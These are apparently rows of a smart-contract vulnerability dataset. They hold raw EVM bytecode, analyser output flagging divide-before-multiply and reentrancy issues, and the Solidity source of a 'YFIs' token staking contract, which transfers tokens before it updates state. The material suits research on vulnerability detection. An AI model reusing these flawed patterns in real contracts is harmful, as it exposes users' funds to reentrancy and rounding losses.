5b600c556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1610780565b61078082610e9a565b600c5481565b6007546001600160a01b031681565b600061099142600954610f59565b905090565b600d6020526000908152604090205481565b60085481565b6005546001600160a01b031690565b6005546000906001600160a01b03166109d4610e96565b6001600160a01b031614905090565b336109ec610b64565b600b556109f7610983565b600a556001600160a01b03811615610a3e57610a12816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b600854421015610a81576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b6501d1a94a2000610a9061052d565b10610ad5576040805162461bcd60e51b815260206004820152601060248201526f1a185c990818d85c081c995858da195960821b604482015290519081900360640190fd5b60008211610b1b576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b610b2482610f6f565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b600a5481565b6000610b6e61052d565b610b7b5750600b54610531565b610991610bad610b8961052d565b610471600c54610465610b9d600a54610fd1565b610450610ba8610983565b610fd1565b600b549063ffffffff610d3d16565b600b5481565b610bd3610bce33610795565b61053b565b610bdb61066f565b565b60095481565b6000546001600160a01b031681565b610bfa6109bd565b610c4b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610c54816110a2565b50565b6000610c9983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611143565b90505b92915050565b600082610cb157506000610c9c565b82820282848281610cbe57fe5b0414610c995760405162461bcd60e51b81526004018080602001828103825260218152602001806114ba6021913960400191505060405180910390fd5b6000610c9983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111da565b600082820183811015610c99576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600160025410610de2576040805162461bcd60e51b815260206004820152601160248201527018dbdb9d1c9858dd081b5a59dc985d1959607a1b604482015290519081900360640190fd5b600154610df5908263ffffffff610c5716565b60015533600090815260046020526040902054610e18908263ffffffff610c5716565b336000818152600460205260408120929092559054610c54916001600160a01b0390911690835b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610e9190849061123f565b505050565b3390565b426003556001811415610ec357600254610eb8576001600255610ebe565b60006002555b610c54565b600054604080516370a0823160e01b81523060048201529051610c549233926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610f1457600080fd5b505afa158015610f28573d6000803e3d6000fd5b505050506040513d6020811015610f3e57600080fd5b50516000546001600160a01b0316919063ffffffff610e3f16565b6000818310610f685781610c99565b5090919050565b600154610f82908263ffffffff610d3d16565b60015533600090815260046020526040902054610fa5908263ffffffff610d3d16565b336000818152600460205260408120929092559054610c54916001600160a01b039091169030846113fd565b600080610e10600854840381610fe357fe5b6008549190049150610e108202908403036ec097ce7bc90715b34b9f10000000006000805b8481101561104e57611044677fb54371b3f8f78082600a0a8360090a86028161102d57fe5b048161103557fe5b8491900463ffffffff610d3d16565b9150600101611008565b50821561109957611096677fb54371b3f8f780610e1086600a0a868860090a8702028161107757fe5b048161107f57fe5b048161108757fe5b8391900463ffffffff610d3d16565b90505b95945050505050565b6001600160a01b0381166110e75760405162461bcd60e51b81526004018080602001828103825260268152602001806114946026913960400191505060405180910390fd5b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600081848411156111d25760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561119757818101518382015260200161117f565b50505050905090810190601f1680156111c45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836112295760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561119757818101518382015260200161117f565b50600083858161123557fe5b0495945050505050565b611251826001600160a01b0316611457565b6112a2576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106112e05780518252601f1990920191602091820191016112c1565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611342576040519150601f19603f3d011682016040523d82523d6000602084013e611347565b606091505b50915091508161139e576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156113f7578080602001905160208110156113ba57600080fd5b50516113f75760405162461bcd60e51b815260040180806020018281038252602a8152602001806114fc602a913960400191505060405180910390fd5b50505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526113f790859061123f565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061148b5750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820cf13d5dffef03bce22760fcdedbd81043b793705dbebfcaf7cb15853ebcb07d964736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,221
0x42b12130bb3b4aa53b5fc129719f7a93cc420ed2
pragma solidity ^0.6.0; // ---------------------------------------------------------------------------- // 'YFIs' Staking smart contract // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Stake is Owned { using SafeMath for uint256; address public YFIs = 0xE06Ea2a92c4811732E14cbc1453a35fa78A2f176; uint256 public totalStakes = 0; uint256 stakingFee = 25; // 2.5% uint256 unstakingFee = 25; // 2.5% uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens, uint256 stakingFee); event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external { require(IERC20(YFIs).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account"); uint256 _stakingFee = 0; if(totalStakes > 0) _stakingFee= (onePercent(tokens).mul(stakingFee)).div(10); if(totalStakes > 0) // distribute the staking fee accumulated before updating the user's stake _addPayout(_stakingFee); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; totalStakes = totalStakes.add(tokens.sub(_stakingFee)); emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee); } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS(uint256 tokens) external { require(IERC20(YFIs).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account"); _addPayout(tokens); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round-1].add(dividendPerToken); emit PAYOUT(round, tokens, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public { if(totalDividends > stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; require(IERC20(YFIs).transfer(msg.sender,owing), "ERROR: error in sending reward from contract"); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount + stakers[staker].remainder); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external { require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; require(IERC20(YFIs).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens"); stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; totalStakes = totalStakes.sub(tokens); if(totalStakes > 0) // distribute the un staking fee accumulated after updating the user's stake _addPayout(_unstakingFee); emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedYFIs(address staker) external view returns(uint256 stakedYFis){ return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the YFIs balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourYFIsBalance(address user) external view returns(uint256 YFIsBalance){ return IERC20(YFIs).balanceOf(user); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063997664d71161008c578063bf9befb111610066578063bf9befb114610325578063ca84d59114610343578063f158b0dc14610371578063f2fde38b146103bb576100ea565b8063997664d714610281578063b53d6c241461029f578063bafe144c146102cd576100ea565b80632c75bcda116100c85780632c75bcda146101a75780634baf782e146101d55780634df9d6ba146101df5780638da5cb5b14610237576100ea565b8063146ca531146100ef5780631ccb22ab1461010d57806329652e8614610165575b600080fd5b6100f76103ff565b6040518082815260200191505060405180910390f35b61014f6004803603602081101561012357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610405565b6040518082815260200191505060405180910390f35b6101916004803603602081101561017b57600080fd5b8101908080359060200190929190505050610451565b6040518082815260200191505060405180910390f35b6101d3600480360360208110156101bd57600080fd5b8101908080359060200190929190505050610469565b005b6101dd610954565b005b610221600480360360208110156101f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ccd565b6040518082815260200191505060405180910390f35b61023f610ec4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610289610ee9565b6040518082815260200191505060405180910390f35b6102cb600480360360208110156102b557600080fd5b8101908080359060200190929190505050610eef565b005b61030f600480360360208110156102e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b61032d61114b565b6040518082815260200191505060405180910390f35b61036f6004803603602081101561035957600080fd5b8101908080359060200190929190505050611151565b005b6103796115b0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103fd600480360360208110156103d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d6565b005b60085481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600a6020528060005260406000206000915090505481565b80600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154101580156104bb5750600081115b61052d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e76616c696420746f6b656e20616d6f756e7420746f20776974686472617781525060200191505060405180910390fd5b600061055f600a610551600454610543866116cc565b61172090919063ffffffff16565b6117a690919063ffffffff16565b9050600061056c336117f0565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008282540192505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3361061085876119ee90919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561067957600080fd5b505af115801561068d573d6000803e3d6000fd5b505050506040513d60208110156106a357600080fd5b8101908080519060200190929190505050610726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4572726f7220696e20756e2d7374616b696e6720746f6b656e7300000000000081525060200191505060405180910390fd5b61077b83600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546119ee90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506108af836002546119ee90919063ffffffff16565b600281905550600060025411156108ca576108c982611a38565b5b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa2336108ff84866119ee90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546005541115610ccb5760006109ab336117f0565b9050610a02600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015482611b8490919063ffffffff16565b90506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040181905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d6020811015610b1f57600080fd5b8101908080519060200190929190505050610b85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611eb9602c913960400191505060405180910390fd5b7f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a180600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550505b565b600080610da5600754610d97600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610d89600a60006001600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b6117a690919063ffffffff16565b9050600754610e6b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610e5d600a60006001600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b81610e7257fe5b0681019050600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401548101915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610fcc57600080fd5b505af1158015610fe0573d6000803e3d6000fd5b505050506040513d6020811015610ff657600080fd5b810190808051906020019092919050505061105c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611f346030913960400191505060405180910390fd5b61106581611a38565b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561110957600080fd5b505afa15801561111d573d6000803e3d6000fd5b505050506040513d602081101561113357600080fd5b81019080805190602001909291905050509050919050565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561122e57600080fd5b505af1158015611242573d6000803e3d6000fd5b505050506040513d602081101561125857600080fd5b81019080805190602001909291905050506112be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611f06602e913960400191505060405180910390fd5b600080905060006002541115611301576112fe600a6112f06003546112e2866116cc565b61172090919063ffffffff16565b6117a690919063ffffffff16565b90505b600060025411156113165761131581611a38565b5b6000611321336117f0565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055506113da600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546113cc84866119ee90919063ffffffff16565b611b8490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555061152061150f83856119ee90919063ffffffff16565b600254611b8490919063ffffffff16565b6002819055507f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c3361155b84866119ee90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461162f57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000806116e3606484611c0c90919063ffffffff16565b905060006117146002600a0a60640261170660648561172090919063ffffffff16565b6117a690919063ffffffff16565b90508092505050919050565b60008083141561173357600090506117a0565b600082840290508284828161174457fe5b041461179b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611ee56021913960400191505060405180910390fd5b809150505b92915050565b60006117e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c27565b905092915050565b6000806118c86007546118ba600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546118ac600a60006001600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b6117a690919063ffffffff16565b905060075461198e600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611980600a60006001600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b8161199557fe5b06600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254019250508190555080915050919050565b6000611a3083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ced565b905092915050565b6000611a63600654611a556007548561172090919063ffffffff16565b611b8490919063ffffffff16565b90506000611a7c600254836117a690919063ffffffff16565b9050611a9360025483611dad90919063ffffffff16565b600681905550611aae81600554611b8490919063ffffffff16565b600581905550611adf81600a6000600160085403815260200190815260200160002054611b8490919063ffffffff16565b600a60006008548152602001908152602001600020819055507fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b66008548433604051808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1600860008154809291906001019190505550505050565b600080828401905083811015611c02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000818260018486010381611c1d57fe5b0402905092915050565b60008083118290611cd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c98578082015181840152602081019050611c7d565b50505050905090810190601f168015611cc55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611cdf57fe5b049050809150509392505050565b6000838311158290611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d5f578082015181840152602081019050611d44565b50505050905090810190601f168015611d8c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000611def83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250611df7565b905092915050565b6000808314158290611ea4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e69578082015181840152602081019050611e4e565b50505050905090810190601f168015611e965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50828481611eae57fe5b069050939250505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c